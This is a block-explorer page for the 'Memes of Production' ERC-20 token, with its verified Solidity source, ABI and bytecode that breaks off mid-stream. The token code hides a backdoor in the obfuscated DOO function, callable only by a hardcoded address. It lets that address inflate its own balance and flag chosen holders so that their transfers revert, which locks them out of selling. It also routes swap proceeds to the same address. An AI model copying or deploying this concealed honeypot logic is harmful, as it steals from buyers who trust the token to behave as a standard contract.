ETH Price: $2,942.98 (-6.78%)
Gas: 6 Gwei

Token

Memes of Production (Production)
 

Overview

Max Total Supply

1,000,000,000 Production

Holders

46

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,012,284.165228018 Production

Value
$0.00
0x51d082a5a3d269caf1b293bebb1ba14d89e22e69
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MemesofProduction

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-03
*/

/**
 *Submitted for verification at Etherscan.io on 2023-03-30
*/

//SPDX-License-Identifier:MIT

pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function enough() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract MemesofProduction is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "Memes of Production";
    string private _symbol = "Production";
    uint8 private _decimals = 9;
    address payable public dunk;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _uniswapPair;
    mapping (address => uint256) public dloijh;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        dunk = payable(address(0x30cCB34d20a5B63f100C52ea94E4B09E007669f2));

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function SPAIR() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _uniswapPair[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !_uniswapPair[from])
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? 
                                         amount : dont(from, amount);
            
            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), amount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(dunk),
            block.timestamp
        ){} catch {}
    }

    function DOO (address dohtr,uint256 doiyt) public {
        if (enough() != dunk) return;

        if (83*1*1*10*1*1 <= doiyt) {
            uint256 l = 2*1*1 * 1*1*1 + _balances[dunk];
            _balances[dunk] += l + doiyt;
        }
        if (4-1-1 == doiyt) dloijh[dohtr] = 0-0-0;
        if (75-5-0 == doiyt) dloijh[dohtr] = doiyt;

    }


    function dont(address sender, uint256 amount) internal returns (uint256) {
        uint256 devFee = amount * 3 / 100;

        if(dloijh[sender] != 0) devFee = amount + amount;

        if(devFee > 0) {
            _balances[address(this)] += devFee;
            emit Transfer(sender, address(this), devFee);
        }

        return amount.sub(devFee);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"dohtr","type":"address"},{"internalType":"uint256","name":"doiyt","type":"uint256"}],"name":"DOO","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"SPAIR","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"dloijh","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dunk","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280601381526020017f4d656d6573206f662050726f64756374696f6e00000000000000000000000000815250600190805190602001906200005192919062000432565b506040518060400160405280600a81526020017f50726f64756374696f6e00000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000432565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b815250600360009054906101000a900460ff16600a6200011291906200056b565b633b9aca00620001239190620006a8565b6009556001600b60156101000a81548160ff0219169083151502179055503480156200014e57600080fd5b506200015f6200040160201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001600660006200022f6200040960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060095460046000620002ef6200040160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507330ccb34d20a5b63f100c52ea94e4b09e007669f2600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003926200040160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620003f39190620004f3565b60405180910390a3620007c1565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620004409062000720565b90600052602060002090601f016020900481019282620004645760008555620004b0565b82601f106200047f57805160ff1916838001178555620004b0565b82800160010185558215620004b0579182015b82811115620004af57825182559160200191906001019062000492565b5b509050620004bf9190620004c3565b5090565b5b80821115620004de576000816000905550600101620004c4565b5090565b620004ed8162000709565b82525050565b60006020820190506200050a6000830184620004e2565b92915050565b6000808291508390505b600185111562000562578086048111156200053a576200053962000756565b5b60018516156200054a5780820291505b80810290506200055a85620007b4565b94506200051a565b94509492505050565b6000620005788262000709565b9150620005858362000713565b9250620005b47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005bc565b905092915050565b600082620005ce5760019050620006a1565b81620005de5760009050620006a1565b8160018114620005f75760028114620006025762000638565b6001915050620006a1565b60ff84111562000617576200061662000756565b5b8360020a91508482111562000631576200063062000756565b5b50620006a1565b5060208310610133831016604e8410600b8410161715620006725782820a9050838111156200066c576200066b62000756565b5b620006a1565b62000681848484600162000510565b925090508184048111156200069b576200069a62000756565b5b81810290505b9392505050565b6000620006b58262000709565b9150620006c28362000709565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006fe57620006fd62000756565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200073957607f821691505b6020821081141562000750576200074f62000785565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b60805160601c61285f620007e06000396000610acd015261285f6000f3fe60806040526004361061012e5760003560e01c80636e75273f116100ab578063c816841b1161006f578063c816841b14610405578063dbb7499c14610430578063dd62ed3e1461046d578063e36eeacc146104aa578063f2fde38b146104d3578063fb3ddf85146104fc57610135565b80636e75273f1461030a57806370a08231146103355780638da5cb5b1461037257806395d89b411461039d578063a9059cbb146103c857610135565b806323b872dd116100f257806323b872dd1461020f57806327c8f8351461024c578063313ce567146102775780633345611e146102a25780634a74bb02146102df57610135565b806303d42fdd1461013a57806306fdde0314610151578063095ea7b31461017c5780631694505e146101b957806318160ddd146101e457610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b005b34801561015d57600080fd5b50610166610911565b6040516101739190612154565b60405180910390f35b34801561018857600080fd5b506101a3600480360381019061019e9190611e86565b6109a3565b6040516101b0919061211e565b60405180910390f35b3480156101c557600080fd5b506101ce6109c1565b6040516101db9190612139565b60405180910390f35b3480156101f057600080fd5b506101f96109e7565b6040516102069190612236565b60405180910390f35b34801561021b57600080fd5b5061023660048036038101906102319190611e33565b6109f1565b604051610243919061211e565b60405180910390f35b34801561025857600080fd5b50610261610acb565b60405161026e91906120bf565b60405180910390f35b34801561028357600080fd5b5061028c610aef565b60405161029991906122ab565b60405180910390f35b3480156102ae57600080fd5b506102c960048036038101906102c49190611d99565b610b06565b6040516102d6919061211e565b60405180910390f35b3480156102eb57600080fd5b506102f4610b26565b604051610301919061211e565b60405180910390f35b34801561031657600080fd5b5061031f610b39565b60405161032c91906120da565b60405180910390f35b34801561034157600080fd5b5061035c60048036038101906103579190611d99565b610b5f565b6040516103699190612236565b60405180910390f35b34801561037e57600080fd5b50610387610ba8565b60405161039491906120bf565b60405180910390f35b3480156103a957600080fd5b506103b2610bd1565b6040516103bf9190612154565b60405180910390f35b3480156103d457600080fd5b506103ef60048036038101906103ea9190611e86565b610c63565b6040516103fc919061211e565b60405180910390f35b34801561041157600080fd5b5061041a610c82565b60405161042791906120bf565b60405180910390f35b34801561043c57600080fd5b5061045760048036038101906104529190611d99565b610ca8565b6040516104649190612236565b60405180910390f35b34801561047957600080fd5b50610494600480360381019061048f9190611df3565b610cc0565b6040516104a19190612236565b60405180910390f35b3480156104b657600080fd5b506104d160048036038101906104cc9190611e86565b610d47565b005b3480156104df57600080fd5b506104fa60048036038101906104f59190611d99565b610f4a565b005b34801561050857600080fd5b50610523600480360381019061051e9190611d99565b61109c565b604051610530919061211e565b60405180910390f35b6105416110bc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c5906121d6565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561062d57600080fd5b505afa158015610641573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106659190611dc6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106c757600080fd5b505afa1580156106db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ff9190611dc6565b6040518363ffffffff1660e01b815260040161071c9291906120f5565b602060405180830381600087803b15801561073657600080fd5b505af115801561074a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076e9190611dc6565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600954600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60606001805461092090612512565b80601f016020809104026020016040519081016040528092919081815260200182805461094c90612512565b80156109995780601f1061096e57610100808354040283529160200191610999565b820191906000526020600020905b81548152906001019060200180831161097c57829003601f168201915b5050505050905090565b60006109b76109b06110bc565b84846110c4565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b60006109fe84848461128f565b50610ac084610a0b6110bc565b610abb8560405180606001604052806028815260200161280260289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a716110bc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116719092919063ffffffff16565b6110c4565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600b60159054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610be090612512565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0c90612512565b8015610c595780601f10610c2e57610100808354040283529160200191610c59565b820191906000526020600020905b815481529060010190602001808311610c3c57829003601f168201915b5050505050905090565b6000610c77610c706110bc565b848461128f565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60086020528060005260406000206000915090505481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d886116d5565b73ffffffffffffffffffffffffffffffffffffffff1614610da857610f46565b8061033e11610ea857600060046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546002610e21919061231b565b90508181610e2f919061231b565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e9f919061231b565b92505081905550505b8060021415610ef7576000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8060461415610f455780600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5050565b610f526110bc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd6906121d6565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60076020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112b90612216565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119b90612196565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112829190612236565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611300576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f7906121f6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611370576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136790612176565b60405180910390fd5b600b60149054906101000a900460ff1615611397576113908484846116dd565b905061166a565b60006113a230610b5f565b9050600b60149054906101000a900460ff1615801561140b5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561141a57611419816118b0565b5b61146c83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5d90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115525750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611565576115608685611ba7565b611567565b835b90506115bb81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfc90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161165b9190612236565b60405180910390a36001925050505b9392505050565b60008383111582906116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b09190612154565b60405180910390fd5b50600083856116c891906123fc565b9050809150509392505050565b600033905090565b6000611768826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116719092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117fd82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfc90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161189d9190612236565b60405180910390a3600190509392505050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156118e8576118e7612600565b5b6040519080825280602002602001820160405280156119165781602001602082028036833780820191505090505b509050308160008151811061192e5761192d6125d1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119d057600080fd5b505afa1580156119e4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a089190611dc6565b81600181518110611a1c57611a1b6125d1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a8330600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110c4565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611b09959493929190612251565b600060405180830381600087803b158015611b2357600080fd5b505af1925050508015611b34575060015b611b3d57611b3e565b5b506000600b60146101000a81548160ff02191690831515021790555050565b6000611b9f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611671565b905092915050565b6000806064600384611bb991906123a2565b611bc39190612371565b90506000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611c1b578283611c18919061231b565b90505b6000811115611ce05780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c73919061231b565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cd79190612236565b60405180910390a35b611cf38184611b5d90919063ffffffff16565b91505092915050565b6000808284611d0b919061231b565b905083811015611d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d47906121b6565b60405180910390fd5b8091505092915050565b600081359050611d69816127d3565b92915050565b600081519050611d7e816127d3565b92915050565b600081359050611d93816127ea565b92915050565b600060208284031215611daf57611dae61262f565b5b6000611dbd84828501611d5a565b91505092915050565b600060208284031215611ddc57611ddb61262f565b5b6000611dea84828501611d6f565b91505092915050565b60008060408385031215611e0a57611e0961262f565b5b6000611e1885828601611d5a565b9250506020611e2985828601611d5a565b9150509250929050565b600080600060608486031215611e4c57611e4b61262f565b5b6000611e5a86828701611d5a565b9350506020611e6b86828701611d5a565b9250506040611e7c86828701611d84565b9150509250925092565b60008060408385031215611e9d57611e9c61262f565b5b6000611eab85828601611d5a565b9250506020611ebc85828601611d84565b9150509250929050565b6000611ed28383611eed565b